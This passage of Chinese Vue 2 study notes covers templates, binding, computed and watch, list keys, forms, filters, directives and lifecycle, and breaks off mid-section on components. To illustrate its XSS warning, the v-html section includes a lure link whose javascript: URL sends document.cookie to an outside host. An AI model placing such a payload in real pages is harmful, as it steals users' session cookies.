📒 vue2基础笔记

vue2 基础

vue是一套用于构建用户界面的、渐进式、JS框架

渐进式：自底向上逐层应用

简单应用：只需一个轻量小巧的核心库

复杂应用：可以引入各种各样的Vue插件

特点：

1.组件化，复用率、好维护

2.声明式编码

3.虚拟dom+dif算法

前置JS知识：

ES6语法规范

ES6模块化

包管理器

原型、原型链

axios

promise

Vue官网

API 字典

风格指南

Cookbook 技巧

1.1 Vue实例

1. 想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象；
2. root容器（
   ）里的代码依然符合html规范，只不过混入了一些特殊的Vue语法； 3.root容器里的代码被称为【Vue模板】； 4.Vue实例和容器是一一对应的； 5.真实开发中只有一个Vue实例，并且会配合着组件一起使用；
3. {{xxx}}中的xxx要写js表达式，且xxx可以自动读取到data中的所有属性； 7.一旦data中的数据发生改变，那么页面中用到该数据的地方也会自动更新；

注意区分：js表达式 和 js代码(语句)

1.表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方：

(1) a (2) a+b (3) demo(1) (4) x === y ? 'a' : 'b'

2.js代码(语句)

(1) if(){}

(2) for(){}

//创建Vue实例
new Vue({
    el:'#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。
    data:{ //data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。
	name:'atguigu',
	address:'北京'
	}
})

1.2 模板语法

Vue模板语法有2大类：

1.插值语法： 功能：用于解析标签体内容。 写法：{{xxx}}，xxx是js表达式，且可以直接读取到data中的所有属性。

2.指令语法： 功能：用于解析标签（包括：标签属性、标签体内容、绑定事件.....）。 举例：v-bind:href="xxx" 或 简写为 :href="xxx"，xxx同样要写js表达式，且可以直接读取到data中的所有属性。 备注：Vue中有很多的指令，且形式都是：v-????，此处我们只是拿v-bind举个例子。

<div id="root">
    <h1>插值语法</h1>
    <h3>你好，{{name}}</h3>
    <hr/>
    <h1>指令语法</h1>
    <a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
    <a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
</div>

1.3 数据绑定

Vue中有2种数据绑定的方式：

1.单向绑定(v-bind)：数据只能从data流向页面。

2.双向绑定(v-model)：数据不仅能从data流向页面，还可以从页面流向data。

备注：

1.双向绑定一般都应用在表单类元素上（如：input、select等）

2.v-model:value 可以简写为 v-model，因为v-model默认收集的就是value值。

<!-- 普通写法 -->
			单向数据绑定：<input type="text" v-bind:value="name"><br/>
			双向数据绑定：<input type="text" v-model:value="name"><br/> 

<!-- 简写 -->
			单向数据绑定：<input type="text" :value="name"><br/>
			双向数据绑定：<input type="text" v-model="name"><br/>

<!-- 如下代码是错误的，因为v-model只能应用在表单类元素（输入类元素）上 -->
			<h2 v-model:x="name">你好啊</h2> 

1.4 el和data的两种写法

1.el有2种写法

(1)new Vue时候配置el属性。

(2)先创建Vue实例，随后再通过vm.$mount('#root')指定el的值。

2.data有2种写法

(1)对象式

(2)函数式 如何选择：目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错。

3.一个重要的原则：

由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不再是Vue实例了。

//el的两种写法
		const v = new Vue({
			el:'#root', //第一种写法
			data:{
				name:'尚硅谷'
			}
		})
		console.log(v)
		v.$mount('#root') //第二种写法

//data的两种写法
		new Vue({
			el:'#root',
			//data的第一种写法：对象式
			data:{
				name:'尚硅谷'
			}

			//data的第二种写法：函数式
			data(){
				console.log('@@@',this) //此处的this是Vue实例对象
				return{
					name:'尚硅谷'
				}
			}
		})

1.5 MVVM模型

观察发现： 1.data中所有的属性，最后都出现在了vm身上。 2.vm身上所有的属性 及 Vue原型上所有属性，在Vue模板中都可以直接使用。

1.6 数据代理

数据代理：通过一个对象代理对另一个对象中属性的操作（读/写）

（1）回顾Object.definePropertyf方法

let number = 18
let person = {
				name:'张三',
				sex:'男',
			}
Object.defineProperty(person,'age',{
		//value:18,
		//如果你只需要一个静态的属性值（即不需要动态计算），可以使用 value，但如果你需要在访问或修改属性时执行一些逻辑，就要使用 get 和 set。
		
		enumerable:true, //控制属性是否可以枚举，默认值是false。也就是说，使用 for...in 或 Object.keys() 遍历 person 对象时，age 属性会被包括在内。
		//writable:true, //控制属性是否可以被修改，默认值是false
		configurable:true //控制属性是否可以被删除，默认值是false。属性 age 可以被删除或重新定义。如果设置为 false，则无法使用 delete 操作符删除这个属性，也不能重新定义它的 get/set。
		
	// getter，用于拦截对age属性的读取操作
	get() {
		console.log('有人读取age属性了');
		return number;
	},

	// setter，用于拦截对age属性的写操作
	set(value) {
		console.log('有人修改了age属性，且值是', value);
		number = value;
	}

})

console.log(person.age); // 会调用getter并输出相关信息
person.age = 25; // 会调用setter并输出相关信息
console.log(person.age); // 会调用getter并输出相关信息

1.Vue中的数据代理： 通过vm对象来代理data对象中属性的操作（读/写）

通过数据代理，Vue 可以让我们在 Vue 实例上直接访问和修改 data 中的属性，而不需要显式地访问 data 对象。例如，假设 data 中有一个属性 message，我们可以直接通过 vm.message 来访问和修改它，而不需要写 vm.data.message。

2.Vue中数据代理的好处： 更加方便的操作data中的数据

• 简化操作：不用每次都通过 data 对象来访问属性，代码更简洁。
• 双向绑定：Vue 的数据代理结合响应式系统，可以让数据的修改自动更新视图。

3.基本原理： 通过Object.defineProperty()把data对象中所有属性添加到vm上。 为每一个添加到vm上的属性，都指定一个getter/setter。 在getter/setter内部去操作（读/写）data中对应的属性。

数据代理的实现依赖于 Object.defineProperty()，这是 JavaScript 中用来定义对象属性的一个方法。Vue 在创建实例时，会遍历 data 对象中的所有属性，并使用 Object.defineProperty() 将这些属性代理到 Vue 实例上。这些属性都会被定义为拥有自定义的 getter 和 setter。

1.7 事件处理

事件的基本使用： 1.使用v-on:xxx 或 @xxx 绑定事件，其中xxx是事件名； 2.事件的回调需要配置在methods对象中，最终会在vm上； 3.methods中配置的函数，不要用箭头函数！否则this就不是vm了； 4.methods中配置的函数，都是被Vue所管理的函数，this的指向是vm 或 组件实例对象； 5.@click="demo" 和 @click="demo($event)" 效果一致，但后者可以传参；

	简写	作用
v-on：xxx	@xxx	绑定事件
v-bind：	：	在 Vue.js 中，v-bind（或其简写形式 :）的设计目的是允许你将 JavaScript 表达式的结果绑定到 HTML 元素的属性上。Vue 将 v-bind 的值作为表达式解析，这使得 Vue 模板具备更强的动态性和灵活性。
v-model:		双向绑定
v-model：value	:value

Vue中的事件修饰符： *1.prevent：阻止默认事件（常用）； *2.stop：阻止事件冒泡（常用）； *3.once：事件只触发一次（常用）； 4.capture：使用事件的捕获模式； 5.self：只有event.target是当前操作的元素时才触发事件； 6.passive：事件的默认行为立即执行，无需等待事件回调执行完毕；

<!-- 阻止默认事件（常用） -->
			<a href="<http://www.atguigu.com>" @click.prevent="showInfo">点我提示信息</a>		
<!-- 阻止事件冒泡（常用） -->
			<div class="demo1" @click="showInfo">
				<button @click.stop="showInfo">点我提示信息</button>
				<!-- 修饰符可以连续写 -->
				<!-- <a href="<http://www.atguigu.com>" @click.prevent.stop="showInfo">点我提示信息</a> -->
			</div>

<!-- 事件只触发一次（常用） -->
			<button @click.once="showInfo">点我提示信息</button>

<!-- 使用事件的捕获模式 -->
			<div class="box1" @click.capture="showMsg(1)">
				div1
				<div class="box2" @click="showMsg(2)">
					div2
				</div>
			</div>

<!-- 只有event.target是当前操作的元素时才触发事件； -->
			<div class="demo1" @click.self="showInfo">
				<button @click="showInfo">点我提示信息</button>
			</div>

<!-- 事件的默认行为立即执行，无需等待事件回调执行完毕； wheel的默认行为是页面滚动，加上passive后就是不阻止默认行为。先滚动，再执行demo事件，使得滚动更加流畅 -->
			<ul @wheel.passive="demo" class="list">
				<li>1</li>
				<li>2</li>
				<li>3</li>
				<li>4</li>
			</ul>

（3）键盘事件

1.Vue中常用的按键别名：

回车 => enter 删除 => delete (捕获“删除”和“退格”键) 退出 => esc 空格 => space 换行 => tab (特殊，必须配合keydown去使用) 上 => up 下 => down 左 => left 右 => right

2.Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名）

3.系统修饰键（用法特殊）：ctrl、alt、shift、meta

(1)配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。 (2)配合keydown使用：正常触发事件。

4.也可以使用keyCode去指定具体的按键（不推荐）

1. Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名

1.8 计算属性

1.定义：要用的属性不存在，要通过已有属性计算得来。

2.原理：底层借助了Objcet.defineProperty方法提供的getter和setter。

3.get函数什么时候执行？

(1)初次读取时会执行一次。 (2)当依赖的数据发生改变时会被再次调用。

4.优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便。

5.备注：

1.计算属性最终会出现在vm上，直接读取使用即可。 2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。

		//完整写法和简写
		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
			},
			computed:{
				//完整写法
				/* fullName:{
					//get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值
					//get什么时候调用？1.初次读取fullName时。2.所依赖的数据发生变化时。
					get(){
						console.log('get被调用了')
						return this.firstName + '-' + this.lastName
					},
					//set什么时候调用? 当fullName被修改时。
					set(value){
						console.log('set',value)
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				} */
				
				//简写
				fullName(){
					console.log('get被调用了')
					return this.firstName + '-' + this.lastName
				}
			}
		})

1.9 监视属性watch

1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作

2.监视的属性必须存在，才能进行监视！！

3.监视的两种写法：

(1)new Vue时传入watch配置 (2)通过vm.$watch监视

			//方法一
			const vm={
			...
			watch:{
				isHot:{
					immediate:true, //初始化时让handler调用一下
					//handler什么时候调用？当isHot发生改变时。
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				}
			} 
		})
		
		//方法二
		vm.$watch('isHot',{
			immediate:true, //初始化时让handler调用一下
			//handler什么时候调用？当isHot发生改变时。
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue)
			}
		})

深度监视：

(1)Vue中的watch默认不监测对象内部值的改变（一层）。 (2)配置deep:true可以监测对象内部值改变（多层）。

备注：

(1)Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以！ (2)使用watch时根据数据的具体结构，决定是否采用深度监视。

实例：除了配置deep:true，还可以用’numbers.a’

watch:{
				isHot:{
					immediate:true, //初始化时让handler调用一下
					//handler什么时候调用？当isHot发生改变时。
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				},
				
				//监视多级结构中某个属性的变化
				'numbers.a':{
					handler(){
						console.log('a被改变了')
					}
				} 
				
				//监视多级结构中所有属性的变化
				numbers:{
					deep:true,
					handler(){
						console.log('numbers改变了')
					}
				}
			}

监视属性简写：

//方法一：
watch:{
				//正常写法
				isHot:{
					// immediate:true, //初始化时让handler调用一下
					// deep:true,//深度监视
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				}, 
				
				//简写
				isHot(newValue,oldValue){
					console.log('isHot被修改了',newValue,oldValue,this)
				} 
			}
		})

//方法二：
		//正常写法
		vm.$watch('isHot',{
			immediate:true, //初始化时让handler调用一下
			deep:true,//深度监视
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue)
			}
		}) 

		//简写，配置对象在第三个参数中
		vm.$watch('isHot', (newValue, oldValue) => {
    console.log('isHot被修改了', newValue, oldValue);
}, {
    immediate: true, // 初始化时让handler调用一下
    deep: true // 深度监视
});

computed和watch之间的区别：

1.computed能完成的功能，watch都可以完成。

2.watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作。

两个重要的小原则：

1.被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或 组件实例对象。Vue 管理的函数 包括生命周期钩子（如 mounted、created）、计算属性（computed）、方法（methods）、和 watch 等。这些函数默认会自动绑定 this，使得 this 指向当前 Vue 实例（vm）。如果你使用箭头函数，箭头函数不会绑定自己的 this，而是会捕获所在上下文的 this，这可能导致 this 指向出错。

2.所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数），最好写成箭头函数， 这样this的指向才是vm 或 组件实例对象。

箭头函数中的 this 是在函数定义时确定的，且与普通函数不同，它不会根据调用方式而改变。它始终绑定到箭头函数创建时的外层作用域中的 this，而不是调用箭头函数的对象。

• 普通函数：this 的指向是动态的，取决于调用时的上下文。在 Vue 管理的生命周期钩子函数中，this 是自动绑定到 Vue 实例或组件实例的。但是在不被 Vue 所管理的函数（如定时器回调、AJAX 回调、Promise 回调等）中，普通函数的 this 可能会指向 undefined 或全局对象，而不是 Vue 实例。
• 箭头函数：箭头函数中的 this 是在定义时静态绑定的，它指向定义时的上下文，因此在 Vue 组件中定义的箭头函数会自动绑定到 Vue 实例或组件实例上。用箭头函数可以避免 this 绑定出错的情况。

const person = {
	name: '张三',
	showName: function() {
	console.log([this.name](<http://this.name/>));
	}
};
person.showName(); // '张三'

示例：

watch:{
				firstName(val){
					setTimeout(()=>{
						console.log(this)
						this.fullName = val + '-' + this.lastName
					},1000);
				},
				lastName(val){
					this.fullName = this.firstName + '-' + val
				}
			}

1.10 绑定样式

1. class样式 写法:class="xxx" xxx可以是字符串、对象、数组。适合绑定样式类名，用于模块化和复用，三种写法分别适用于不同的动态需求。

• 字符串写法适用于：类名不确定，要动态获取。
• 对象写法适用于：要绑定多个样式，个数不确定，名字也不确定。
• 数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。

1. style样式

   适合绑定具体的内联样式，主要用于需要动态修改样式属性的场景。 :style="{fontSize: xxx}"其中xxx是动态值。 :style="[a,b]"其中a、b是样式对象。

样式对象的key，例如fontSize ，存在规定

<div id="root">
			<!-- 绑定class样式--字符串写法，适用于：样式的类名不确定，需要动态指定 -->
			<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
			<!-- 绑定class样式--数组写法，适用于：要绑定的样式个数不确定、名字也不确定 -->
			<div class="basic" :class="classArr">{{name}}</div> <br/><br/>
			<!-- 绑定class样式--对象写法，适用于：要绑定的样式个数确定、名字也确定，但要动态决定用不用 -->
			<div class="basic" :class="classObj">{{name}}</div> <br/><br/>

			<!-- 绑定style样式--对象写法 -->
			<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
			<!-- 绑定style样式--数组写法 -->
			<div class="basic" :style="styleArr">{{name}}</div>
	</div>
	
	<script type="text/javascript">
		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				mood:'normal',
				classArr:['atguigu1','atguigu2','atguigu3'],
				classObj:{
					atguigu1:false,
					atguigu2:false,
				},
				
				styleObj:{
					fontSize: '40px',
					color:'red',
				},
				styleObj2:{
					backgroundColor:'orange'
				},
				styleArr:[
					{
						fontSize: '40px',
						color:'blue',
					},
					{
						backgroundColor:'gray'
					}
				]
			},
			...
	</script>

1.11 条件渲染

1.v-if

写法：(1)v-if="表达式" (2)v-else-if="表达式" (3)v-else="表达式"

适用于：切换频率较低的场景。 特点：不展示的DOM元素直接被移除。 注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。

2.v-show

写法：v-show="表达式" 适用于：切换频率较高的场景。 特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉

**3.备注：**使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到。

使用template不会破坏结构，div会破坏结构

<div id="root">
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
			
			<!-- 使用v-show做条件渲染 -->
			<!-- <h2 v-show="false">欢迎来到{{name}}</h2>
			<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2>

			<!-- 使用v-if做条件渲染 -->
			<h2 v-if="false">欢迎来到{{name}}</h2>
			<h2 v-if="1 === 1">欢迎来到{{name}}</h2>

			<!-- v-else和v-else-if -->
			<div v-if="n === 1">Angular</div>
			<div v-else-if="n === 2">React</div>
			<div v-else-if="n === 3">Vue</div>
			<div v-else>哈哈</div>

			<!-- v-if与template的配合使用 -->
			<template v-if="n === 1">
				<h2>你好</h2>
				<h2>尚硅谷</h2>
				<h2>北京</h2>
			</template>

</div>

1.12 列表渲染

v-for指令:

1.用于展示列表数据 2.语法：v-for="(item, index) in xxx" :key="yyy" 3.可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）

<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表（遍历数组）</h2>
			<ul>
				<li v-for="(p,index) of persons" :key="index">
					{{p.name}}-{{p.age}}
				</li>
			</ul>

			<!-- 遍历对象 -->
			<h2>汽车信息（遍历对象）</h2>
			<ul>
				<li v-for="(value,k) of car" :key="k">
					{{k}}-{{value}}
				</li>
			</ul>

			<!-- 遍历字符串 -->
			<h2>测试遍历字符串（用得少）</h2>
			<ul>
				<li v-for="(char,index) of str" :key="index">
					{{char}}-{{index}}
				</li>
			</ul>
			
			<!-- 遍历指定次数 -->
			<h2>测试遍历指定次数（用得少）</h2>
			<ul>
				<li v-for="(number,index) of 5" :key="index">
					{{index}}-{{number}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					],
					car:{
						name:'奥迪A8',
						price:'70万',
						color:'黑色'
					},
					str:'hello'
				}
			})
		</script>

面试常问：

遍历时key的作用。key写了、不写会怎么样

key的原理：

用index和id作为key的对比

如果不写key，会默认将遍历时的index作为索引值

✅id

❌index

面试题：react、vue中的key有什么作用？（key的内部原理）

1. 虚拟DOM中key的作用： key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较。

2.对比规则： (1)旧虚拟DOM中找到了与新虚拟DOM相同的key： ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！ ②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。

(2)旧虚拟DOM中未找到与新虚拟DOM相同的key，创建新的真实DOM，随后渲染到到页面。

3. 用index作为key可能会引发的问题： （1）若对数据进行：逆序添加、逆序删除等破坏顺序操作: 会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

（2）如果结构中还包含输入类的DOM： 会产生错误DOM更新 ==> 界面有问题。

4. 开发中如何选择key?: （1）最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。 （2）如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，使用index作为key是没有问题的。

列表的过滤

注意：indexOf（‘’）空字符串的index是0

方法一：用watch实现

watch:{
    keyWord:{
        immediate:true,    					handler(val){
        this.filPerons = this.persons.filter((p)=>{
        return p.name.indexOf(val) !== -1			})
        }
    }
}

⭐️方法二：用computed实现

computed:{ filPerons(){ return this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord) !== -1 }) } }

两种方法都能实现时，computed更推荐

列表排序

<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>

computed:{
//判断一下是否需要排序
if(this.sortType){
	arr.sort((p1,p2)=>{
	return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
	   })
	}
return arr

}

数据更新

<button @click="updateMei">更新马冬梅的信息</button>
methods: {
	updateMei(){
	// this.persons[0].name = '马老师' //奏效
	// this.persons[0].age = 50 //奏效
	// this.persons[0].sex = '男' //奏效
						
	// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
						
	this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})
			}
	}

vue检测数据的原理

如何监测对象、数组里数据的改变

1. vue会监视data中所有层次的数据。
2. 如何监测对象中的数据？ 通过setter实现监视，且要在new Vue时就传入要监测的数据。 （1）对象中后追加的属性，Vue默认不做响应式处理

this.persons[0] = {…} 不奏效的原因：Vue 的响应式系统是在实例初始化时通过 Object.defineProperty 方法将对象的每个属性都转为响应式的。当你直接替换整个对象时，新对象的属性并没有经过响应式处理，因此 Vue 无法监控这些属性的变化。

当你直接修改对象的属性值时，例如 this.persons[0].name = '马老师'，Vue 可以检测到这个变化并更新视图。但当你直接替换整个对象（例如 this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'}），Vue 无法检测到这种变化，除非使用特定的方式。

（2）如需给后添加的属性做响应式，请使用如下API： Vue.set(target，propertyName/index，value) 或 vm.$set(target，propertyName/index，value)

addSex(){
// Vue.set(this.student,'sex','男')
	this.$set(this.student,'sex','男')
},
addFriend(){
   this.student.friends.unshift({name:'jack',age:70})
},
updateFirstFriendName(){
    this.student.friends[0].name = '张三'
},
addHobby(){	
    this.student.hobby.push('学习')
 },
updateHobby(){
    // this.student.hobby.splice(0,1,'开车')
    // Vue.set(this.student.hobby,0,'开车')this.$set(this.student.hobby,0,'开车')
},
removeSmoke(){
    this.student.hobby = this.student.hobby.filter((h)=>{
    return h !== '抽烟'
})
}

3. 如何监测数组中的数据？ 通过包裹数组更新元素的方法实现，本质就是做了两件事：

（1）调用原生对应的方法对数组进行更新。

（2）重新解析模板，进而更新页面。

4. 在Vue修改数组中的某个元素一定要用如下方法：

（1）使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

（2）Vue.set() 或 vm.$set() 特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性！！！

1.13 收集表单数据

若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。

若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。

若：<input type="checkbox"/>

1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）

2.配置input的value属性:

(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）

(2)v-model的初始值是数组，那么收集的的就是value组成的数组

备注：v-model的三个修饰符： lazy：失去焦点再收集数据 number：输入字符串转为有效的数字 trim：输入首尾空格过滤

 <div id="root">
    <form @submit.prevent="demo">
    账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
    密码：<input type="password" v-model="userInfo.password"> <br/><br/>
    年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
    性别：
        男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
        女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
    爱好：
        学习<input type="checkbox" v-model="userInfo.hobby" value="study">
        打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
        吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br/><br/>
    所属校区<select v-model="userInfo.city">
    <option value="">请选择校区</option>
        <option value="beijing">北京</option>
        <option value="shanghai">上海</option>
        <option value="shenzhen">深圳</option>
        <option value="wuhan">武汉</option>
    </select>
    <br/><br/>
    其他信息：
    <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
    <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="<http://www.atguigu.com>">《用户协议》</a>
    <button>提交</button>
    </form>
</div>

1.14 过滤器

**定义：**对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。

**语法： **

1. 注册过滤器：Vue.filter(name,callback)【全局过滤器】 或 new Vue{filters:{}}【局部过滤器】

2. 使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"

3. 备注：（1）过滤器也可以接收额外参数、多个过滤器也可以串联 （2）并没有改变原本的数据, 是产生新的对应的数据

<div id="root">
    <h2>显示格式化后的时间</h2>
    <!-- 计算属性实现 -->
    <h3>现在是：{{fmtTime}}</h3>
    <!-- methods实现 -->
    <h3>现在是：{{getFmtTime()}}</h3>
    <!-- 过滤器实现 -->
    <h3>现在是：{{time | timeFormater}}</h3>
    <!-- 过滤器实现（传参） -->
    <h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
    <h3 :x="msg | mySlice">尚硅谷</h3>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    
    // 全局过滤器
    Vue.filter('mySlice', function(value) {
        return value.slice(0, 4);
    });

    new Vue({
        el: '#root',
        data: {
            time: 1621561377603, // 时间戳
            msg: '你好，尚硅谷'
        },
        computed: {
            fmtTime() {
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss');
            }
        },
        methods: {
            getFmtTime() {
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss');
            }
        },
        // 局部过滤器
        filters: {
            timeFormater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {
                return dayjs(value).format(str);
            }
        }
    });
</script>

cookie不能跨浏览器取得

1.15 内置指令

我们学过的指令：

v-bind : 单向绑定解析表达式, 可简写为 :xxx v-model : 双向数据绑定 v-for : 遍历数组/对象/字符串 v-on : 绑定事件监听, 可简写为@ v-if : 条件渲染（动态控制节点是否存存在） v-else : 条件渲染（动态控制节点是否存存在） v-show : 条件渲染 (动态控制节点是否展示)

v-text指令：

1. 作用：Vue 会将绑定的数据的文本内容替换该元素中原有的所有内容。
2. 与插值语法的区别：v-text会替换掉节点中的内容，即不保留原有的任何 HTML 标签或文本，{{xx}}则不会。

    <div id="root">
    	<div>你好，{{name}}</div>
    	<div v-text="name"></div>
    	<div v-text="str"></div>
    </div>

v-html指令：

1.作用：向指定节点中渲染包含html结构的内容。

2.与插值语法的区别：

(1) v-html会替换掉节点中所有的内容，{{xx}}则不会。

(2) v-html可以识别html结构。

3.严重注意：v-html有安全性问题！！！！

(1)在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。 (2)一定要在可信的内容上使用v-html，不要用在用户提交的内容上！

<div id="root">
    <div>你好，{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false; // 阻止 Vue 在启动时生成生产提示。

    new Vue({
        el: "#root",
        data: {
            name: "尚硅谷",
            str: "<h3>你好啊！</h3>",
            str2: `<a href="javascript:location.href='http://www.baidu.com?'+document.cookie">兄弟我找到你想要的资源了，快来！</a>`,
        },
    });
</script>

v-cloak指令（没有值）：

1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。

2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

v-once指令：

1.v-once所在节点在初次动态渲染后，就视为静态内容了。 2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

v-pre指令：

1.跳过其所在节点的编译过程。 2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

1.16 自定义指令：

自定义指令总结：

需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。 需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

一、定义语法

二、配置对象中常用的3个回调

(1)bind：指令与元素成功绑定时调用。 (2)inserted：指令所在元素被插入页面时调用。 (3)update：指令所在模板结构被重新解析时调用。

<div id="root">
    <h2>{{name}}</h2>
    <h2>当前的 n 值是：<span v-text="n"></span></h2>
    <h2>放大 10 倍后的 n 值是：<span v-big="n"></span></h2>
    <button @click="n++">点我 n+1</button>
    <hr/>
    <input type="text" v-fbind:value="n">
</div>

<script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
        el: '#root',
        data: {
            name: '尚硅谷',
            n: 1
        },
        directives: {
            // 定义全局指令 'big'，用于将值放大 10 倍
            big(element, binding) {
                console.log('big', this); // 注意此处的 this 是 window
                element.innerText = binding.value * 10;
            },
            // 定义全局指令 'fbind'，用于绑定 input 的值并自动聚焦
            fbind: {
                // 指令与元素成功绑定时（初始化）
                bind(element, binding) {
                    element.value = binding.value;
                },
                // 指令所在元素被插入页面时
                inserted(element, binding) {
                    element.focus();
                },
                // 指令所在的模板被重新解析时
                update(element, binding) {
                    element.value = binding.value;
                }
            }
        }
    });
</script>

三、备注

1.指令定义时不加v-，但使用时要加v-； 2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

1.17 生命周期

1.又名：生命周期回调函数、生命周期函数、生命周期钩子。 2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。 3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。 4.生命周期函数中的this指向是vm 或 组件实例对象。

常用的生命周期钩子：

1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。 2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例：

1.销毁后借助Vue开发者工具看不到任何信息。 2.销毁后自定义事件会失效，但原生DOM事件依然有效。 3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。

1.18 非单文件组件

1.18.1 基本使用

Vue中使用组件的三大步骤：

一、定义组件(创建组件) 二、注册组件 三、使用组件(写组件标签)

一、如何定义一个组件？

使用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样，但也有点区别；

区别如下：

1.el不要写，为什么？ ——— 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。 2.data必须写成函数，为什么？ ———— 避免组件被复用时，数据存在引用关系。 备注：使用template可以配置组件结构。

二、如何注册组件？

1.局部注册：靠new Vue的时候传入components选项 2.全局注册：靠Vue.component('组件名',组件)

三、编写组件标签：

<school></school>

1.18.2 几个注意点：

1.关于组件名:

一个单词组成：

第一种写法(首字母小写)：school 第二种写法(首字母大写)：School

多个单词组成：

第一种写法(kebab-case命名)：my-school 第二种写法(CamelCase命名)：MySchool (需要Vue脚手架支持)

备注：

